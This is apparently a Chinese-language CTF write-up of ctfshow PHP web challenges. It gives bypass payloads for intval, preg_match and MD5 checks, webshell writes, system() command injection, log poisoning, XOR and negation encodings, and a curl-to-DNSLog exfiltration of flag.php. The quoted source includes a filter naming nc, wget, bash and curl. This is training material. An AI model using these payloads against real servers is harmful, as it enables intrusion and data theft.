intval() 函数用于获取变量的整数值,可preg_match过滤了数字,这里可以用数组绕过,因为preg_match无法处理数组
payload:
?num[]=1
得到flag
ctfshow{bbd89e2b-5c80-44c4-97ce-54155b5b6e74}
传参num强类型比较不等于4476,但经过intval后等于4476
intval函数base为0时,会根据数据类型判断进制,因此可以用十六进制绕过0x117c
经过测试4476a,经过intval后值也为4476
payload:
?num=4476a
?num=0x117c
得到flag
ctfshow{caad1937-497e-4d84-b84b-a495b141cd4a}
正则匹配/m表示多行匹配,/i表示不区分大小写,因此可以通过换行让/m匹配第二行的php
payload:
?cmd=%0aphp
得到flag
ctfshow{7f2128e4-0848-47d0-b066-12e4a5cc60da}
强类型变成了弱类型比较,4476a就不能用了,但仍可以用十六进制绕过
?num=0x117c
得到flag
ctfshow{937e42c0-24ba-47ca-a19d-7093c9cb0827}
弱类型过滤了字母,16进制无法用了可以用8进制绕过
payload:
?num=010574
得到flag
ctfshow{6a569552-6394-4b09-a65f-ac3d0c0caaf2}
strpos函数会检测0首次出现的位置,所以如果第一位是0,!0即1会执行die,所以无法使用常规的八进制绕过,可以用换行(%0a)、空格(%20)进行绕过,也可以小数点绕,因为intval()函数只读取整数部分(但必须在非首位有0以绕过strpos函数)
payload:
?num=%0a010574
?num=%20010574
?num=4476.20
得到flag
ctfshow{e93dd37e-c5fa-4974-b9e5-62d72395916a}
把.过滤了可以直接用上题的另外两个payload
payload:
?num=%0a010574
?num=%20010574
?num=4476.20
得到flag
ctfshow{bef94fee-2077-4546-8cbd-3b85f002bf28}
需要读取flag.php但过滤掉了可以加上./代表当前目录
payload:
?u=./flag.php
得到flag
ctfshow{c4b5b154-3f43-4258-a26c-58fb0d916269}
md5强类型比较
payload:POST传参
a[]=1&b[]=2
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 //过滤数组时可以用md5碰撞绕过
ctfshow{b36ae29e-524a-4f02-b4ec-4d58c3f83f32}
涉及到了一个三目运算
$_GET?$_GET=&$_POST:‘flag’; //如果使用GET传参,则使用POST传参来代替
$_GET[‘flag’]==‘flag’?$_GET=&$_COOKIE:‘flag’; //如果GET传参flag的值=flag则将cookie的值代替flag中的值
$_GET[‘flag’]==‘flag’?$_GET=&$_SERVER:‘flag’; //与上同理
$_GET[‘HTTP_FLAG’]==‘flag’?$flag:__FILE__ //如果GET传参HTTP_FLAG的值为flag则输出$flag
payload:
GET:a=1 //为了触发POST传参GET传任意值都可
POST:HTTP_FLAG=flag //GET=POST,因此POST传参,即实现$_GET['HTTP_FLAG']=='flag'
ctfshow{24b7e4be-ca0e-4f83-9f59-5dbc1d72e950}
array_push()向第一个参数的数组尾部添加一个或多个元素
array_push($allow, rand(1,$i)); //向$allow中插入一个随机值
in_array($_GET[‘n’], $allow)//检测n中是否有$allow的值,这里并没有第三个参数type,因此存在漏洞,就可以形成自动转换,即n=1.php会自动转换为1
file_put_contents()函数的作用是把一个字符串写入文件中,因此可以通过POST传参一句话木马到1.php中
GET:?n=1.php
POST:content=
传参后访问1.php,并执行命令ls
最后cat flag36d.php即可
查看页面源代码
ctfshow{fa972e69-75c0-4f3b-bfa4-cc546ddea5c4}
and和or的优先级低于"="所以v0的值取决于v1,只需要将v1的设为纯数字即可。
v2一定是用来执行命令的,提示中写到flag在ctfshow类中,最简单的方法直接输出这个类即可,也就是构造出 echo new ReflectionClass(‘ctfshow’);。
v3正则必须有;,可以v3=;作为v2语句的结束符
payload:
?v1=1&v2=echo new ReflectionClass&v3=;
非预期:
v1=1&v2=var_dump($ctfshow)/*&v3=*/;
?v1=1&v2=?>/*&v3=*/;
?v1=1&v2=system('cat ctfshow.php')&v3=-2;
?v1=1&v2=echo&v3=;system('cat ctfshow.php');
得到flag
v4若想为1,只需v2是纯数字
在php5的环境中,是可以识别十六进制的,也就是说,如果传入v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e(一句话木马的十六进制)也是可以识别为数字的;经过substr截取v2开头的0x,v1传hex2bin经过call_user_func将十六进制转为一句话木马,最后file_put_contents将一句话写入1.php即可
因此payload为
get:v2=0x3c3f706870206576616c28245f504f53545b315d293b3f3e&v3=1.php
post:v1=hex2bin
但本题为php7版本因此v2的十六进制不再适用,要让v2均为数字,首先我们考虑v3写入1.php时,利用伪协议写入,然后利用base64编码后再转为十六进制为全数字的命令=`cat *`;getshell
$a='=`cat *`;';
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //等号在base64中只是起到填充的作用,不影响具体的数据内容,直接用去掉,=和带着=的base64解码出来的内容是相同的。
输出 5044383959474e6864434171594473
带e的话会被认为是科学计数法,可以通过is_numeric检测。
因为要经过substr处理,所以v2前面还要补00
payload:
get:v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
post: v1=hex2bin
利用ereg函数的漏洞:00截断。%00截断及遇到%00则默认为字符串的结束
所以构造如下:
?c=a%00778
得到flag
ctfshow{d029deda-963b-46af-abc6-5a504ac6ee23}
php原生类
这里通过异常处理类Exception(system(‘cmd’))可以运行指定代码,并且能返回运行的结果(如果存在返回)
?v1=Exception&v2=system('cat fl*')
?v1=Reflectionclass&v2=system('cat fl*')
?v1=ReflectionMethod&v2=system('cat fl*')
直接访问fl36dg.txt
得到flag
ctfshow{879dafba-1e66-4f9c-b8f3-65a96f19768c}
又是姿势盲区,考察的是FilesystemIterator类的使用
获取当前的目录则可以用getcwd函数,所以payload如下:
?v1=FilesystemIterator&v2=getcwd
缺陷是如果flag的文件不在第一位的话,就不能得到这个文件名。而且这个也没法读文件
然后访问 fl36dga.txt
最终得到flag
ctfshow{df8709be-6aae-4b92-bb18-0d9cf9a3a2aa}
利用PHP的超全局变量$GLOBALS
?v1=ctfshow&v2=GLOBALS
ctfshow{45b684eb-bf4d-4494-9ff9-8da67eb43c04}
这次吧filter也过滤了,可以用上题的压缩流payload,或者用/proc/self/root,在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容,这里得重复最少21次来绕过
payload:
?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php
?file=compress.zlib://flag.php
得到flag
ctfshow{3bbb26be-2f90-4f32-880f-cd726f88866c}
禁用root和compress,上题payload无法使用,但没过滤php,和filter
payload:
?file=php://filter/resource=flag.php
ctfshow{9cfc3200-2ade-4967-9d13-6a89e421e0bb}
trim()函数会移除字符串两侧的空白字符或其他预定义字符。若未预定义字符会移除
" " (ASCII 32 (0x20)),普通空格符。
"\t" (ASCII 9 (0x09)),制表符。
"\n" (ASCII 10 (0x0A)),换行符。
"\r" (ASCII 13 (0x0D)),回车符。
"\0" (ASCII 0 (0x00)),空字节符。
"\x0B" (ASCII 11 (0x0B)),垂直制表符。
通过羽师傅脚本跑出%0c(换页符可用),可绕过弱类型比较和trim()
payload:
?num=%0c36
得到flag
ctfshow{2046f4b7-052b-47f3-bba7-010bee953605}
要求必须传参CTF_SHOW.COM,但PHP变量名应该只有数字字母下划线,若出现类似.字符会被转化为下划线,但有一个特殊字符[,它本身会变成下划线,而[后边的内容不会被转化即CTF[SHOW.COM =>CTF_SHOW.COM,另外要求不能传参fl0g,但fl0g等于flag_give_me才能输出flag,因此本题突破口是通过eval直接输出flag
payload:
CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo implode(get_defined_vars())
得到flag
ctfshow{0925fd55-905a-4782-b8b0-30f2dbdfbbb6}
extract ()
extract — 从数组中将变量导入到当前的符号表
用post传入的数据都覆盖原来的数据。
payload:
CTF_SHOW=1&CTF[SHOW.COM=2&fun=extract($_POST)&fl0g=flag_give_me
得到flag
ctfshow{765a2d94-5164-49c1-a321-13a5c51e2603}
parse_str ()
parse_str — 将字符串解析成多个变量
payload:
a=1+fl0g=flag_give_me #GET
CTF_SHOW=1&CTF[SHOW.COM=2&fun=parse_str($a[1]) #POST
|\.|\\\|\//', $url)){
return true;
}else{
return false;
}
}
if(waf($url)){
die("嗯哼?");
}else{
extract($_GET);
}
if($ctf_show==='ilove36d'){
echo $flag;
}
php的变量名中的点或空格会被转化为下划线,由于点被过滤
payload:
?ctf show=ilove36d
得到flag
ctfshow{87c8ac47-cabc-4999-bcd7-ca0877733f67}
gettext扩展
gettext(“phpinfo”)等同于phpinfo()
在开启该拓展后 _() 等效于 gettext()
所以call_user_func(‘_’,‘phpinfo’) 返回的就是phpinfo
gettext:可以实现多国语言显示,假如你的国际化的程序里有这样的代码,echo “你好”;,而国际化的程序你要写成 echo gettext(“你好”);,然后再在配置文件里添加“你好”相对应的英文“Hi”。这时,中国地区浏览都会在屏幕上输出“你好”,而美国地区浏览都会在屏幕上输出“Hi”。
get_defined_vars
get_defined_vars(void):array,此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
payload:
?f1=_&f2=get_defined_vars
即:
var_dump(call_user_func(call_user_func($f1,$f2)));
var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
var_dump(call_user_func(get_defined_vars));
?f1=_&f2=get_defined_vars
得到flag
ctfshow{496d9cd7-8050-4cbf-b649-edc6dfe07159}
0){
echo readfile($f);
}
}?>
利用phpfilter伪协议,其中伪协议无效的话就会被过滤或进行目录穿越
payload:
?f=php://filter/convert.base64.encode | ctfshow/resource=flag.php
?f=/ctfshow/../../var/www/html/flag.php
查看页面源代码
得到flag
ctfshow{9d7523e9-471d-4c6a-8965-ea6c5811a53d}
正则只要ctfshow前边无任何字符就可以
payload:
POST:f=ctfshow
得到flag
ctfshow{b9b5a2ca-0b97-4c44-b232-e32a592bdfb8}
访问robots.txt,提示/admin,访问后得到源码
&&的优先级高于||的优先级,所以只要username=admin为真值,code=admin输出flag
?code=admin&username=admin&password=1
得到flag
这个题是自己出的主要是考察,命令执行的骚操作和curl -F的使用
传参F过滤了命令执行函数,并且eval只会执行F的前六位字符的命令,如果我们传递的参数就是$F本身,就能实现变量覆盖
get传参 F=`$F `;sleep 3
经过substr($F,0,6)截取后 得到 `$F `;
也就是会执行 eval("`$F `;");
我们把原来的$F带进去
eval("``$F `;sleep 3`");
也就是说最终会执行 ``$F `;sleep 3` == shell_exec("`$F `;sleep 3");
这样就在服务器上成功执行了 sleep 3
所以我们的目标就明确了,利用curl去带出来flag.php
DNSLog Platform首先在DNSLog Platform这个网站先创建一个域名
然后payload
?F=`$F`;空格curl`cat flag.php|grep "flag"`.当时创建的域名
然后再刷新,得到flag
POST数组的覆盖
$_SERVER[‘QUERY_STRING’]解释
PHP extract() 函数
可构造playload:
?_POST[key1]=36d&_POST[key2]=36d
查看页面源代码
得到flag ctfshow{911c0580-c528-4981-8e8a-7affa8be911f}
Linux中的cp命令
先将flag写入1.txt
/?F=`$F`; cp flag.php 1.txt
再访问1.txt
/1.txt
得到flag
ctfshow{37951cb0-36d5-4cf3-826f-a3ac27ad9423}
|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
Linux tee命令
常见用例: tee file //覆盖
tee -a file //追加
tee - //输出到标准输出两次 tee - - //输出到标准输出三次
tee file1 file2 - //输出到标准输出两次,并写到那两个文件中
ls | tee file
另:把标准错误也被tee读取 ls “*” 2>&1 | tee ls.txt
tee file1 file2 //复制文件
ls|tee 1.txt //命令输出
可构造playload:
?c=ls \|tee 1
//将根目录下的内容写入1
访问1,下载文件发现f149_15_h3r3
?c=nl /f149_15_h3r3|tee 1
访问1,下载文件得flag
得到flag
ctfshow{52085618-6ccf-43ee-b5da-dc83fa367e39}
调用类中函数
可构造playload:
POST传参:
ctfshow=ctfshow::getFlag
得到flag
查看页面源代码
ctfshow{e5799d52-c58b-4148-8ed0-de5595f75220}
-1){
die("private function");
}
call_user_func($_POST['ctfshow']);
和Web137类似都是运用了
call_user_func()函数
可构造playload:
POST传参:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag
查看页面源代码
得到flag
ctfshow{bdd5c2cd-60d3-4973-99ac-6907ad169366}
|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
die('too young too simple sometimes naive!');
}
}
if(isset($_GET['c'])){
$c=$_GET['c'];
check($c);
exec($c);
}
else{
highlight_file(__FILE__);
}
?>
直接运用提示脚本,先爆破出文件名后爆破文件内容
弱比较函数调用
可以看到只要我们让intval($code)
为0就可以了
intval会将非数字字符
转换为0,也就是说intval('a')==0 intval('.')==0intval('/')==0
构造playload:
POST传参:
f1=md5&f2=md5
查看页面源代码
得到flag
ctfshow{a4b3091e-eaf2-4af6-a1b3-464b46bb0316}
无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)
/^\W+$/
作用是匹配非数字字母下划线的字符
取反脚本:
构造playload:
?v1=1&v3=-(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)-&v2=1
ctfshow{ae451c80-8d22-416f-a7cc-b710ad5e3e2e}
直接构造playload
直接构造playload
?v1=0
ctfshow{313127be-14fc-4b6b-83d3-f25f4d696ea0}
过滤了-和;之前的payload无法直接使用了,可以用*代替-,用?>代替;或直接去掉;
?v1=1&v2=2&v3=*("%13%19%13%14%05%0d"^"%60%60%60%60%60%60")("%03%01%14%00%06%0c%01%07%02%10%08%10"^"%60%60%60%20%60%60%60%60%2c%60%60%60")*
ctfshow{83b1c954-b7f2-49e9-b852-908e1c39bdd2}
和143题类似,只是弱化了一下
构造playload:
?v1=1
&v2=-("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0b%01%03%00%06%0c%01%07%01%0f%08%0f"^"%7f%60%60%20%60%60%60%60%2f%7f%60%7f")
&v3=1
ctfshow{c5526b12-7a78-498f-94b4-b51ef0513029}
|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
考察知识点:三目运算符
构造playload:
?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)|&v2=1
ctfshow{82b792e3-28e6-47b7-b1e8-fc27e3bce83e}
|\*|\/|\^|\#|\"/i', $v3)){
die('get out hacker!');
}
else{
$code = eval("return $v1$v3$v2;");
echo "$v1$v3$v2 = ".$code;
}
}
}
和上题相同
?v1=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%D5)|&v2=1
ctfshow{680d0a94-a413-485a-b069-50d68a4da1ca}
create_function函数注入
原理 就是}闭合原来的函数,然后执行命令,然后再把多余的}给注释掉就可以了
php里默认命名空间是\,所有原生函数和类都在这个命名空间中。 普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路 径; 而如果写\function_name()这样调用函数,则其实是写了一个绝对路径。 如果你在其他namespace里调用系统类,就必须写绝对路径这种写 法
构造playload:
GET:?show=}system("cat f*");/*
POST:ctf=\create_function
ctfshow{b874fb3d-f6f8-4569-9c69-6c304e22960c}
还是异或
play load:
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%03%01%09%01%06%02"^"%60%60%7d%21%60%28");
ctfshow{5f8f93be-e4c2-4171-827c-f4ef66195186}
解题方法如下:
写一句话到index.php中
成功写入
查看根目录文件
发现可疑文件名,查看文件内容,得出flag
ctfshow{8d6220b6-ba24-4de9-9314-5f788d596b98}
vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE){
include($ctf);
}
?>
考察User-Agent日志包含
bp抓包,将User-Agent改为,然后传参
payload:
GET: ?isVIP=1
POST: ctf=/var/log/nginx/access.log&1=system('tac f*');
ctfshow{75dbeb0a-1050-4825-b9a0-cf25f5fefa37}
vip = 0;
$this->secret = $flag;
}
function __destruct(){
echo $this->secret;
}
public function isVIP(){
return $this->vip?TRUE:FALSE;
}
}
function __autoload($class){
if(isset($class)){
$class();
}
}
#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){
die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){
echo "class is exists!";
}
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}
分析代码:
if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){
include($ctf);
}
从上述代码中可以看出不能有:
和log
说明不能用伪协议和日志包含
使用?..CTFSHOW..=xxx可以绕过正则匹配,利用空格 [ . +自动转换为_的特性
__autoload()
这个函数并不属于CTFSHOW这个类的,全局都可以用
在定义这个函数后,尝试使用不存在的类的时候会自动加载
用法参考 PHP中__autoload()魔术方法详解
class_exists()
同样会触发这个函数
传入?..CTFSHOW..=phpinfo就会执行phpinfo()
可以参考:
PHP文件包含漏洞(利用phpinfo)
得到flag
ctfshow{88fa67ef-7a37-423f-87b9-d32ec87b89d3}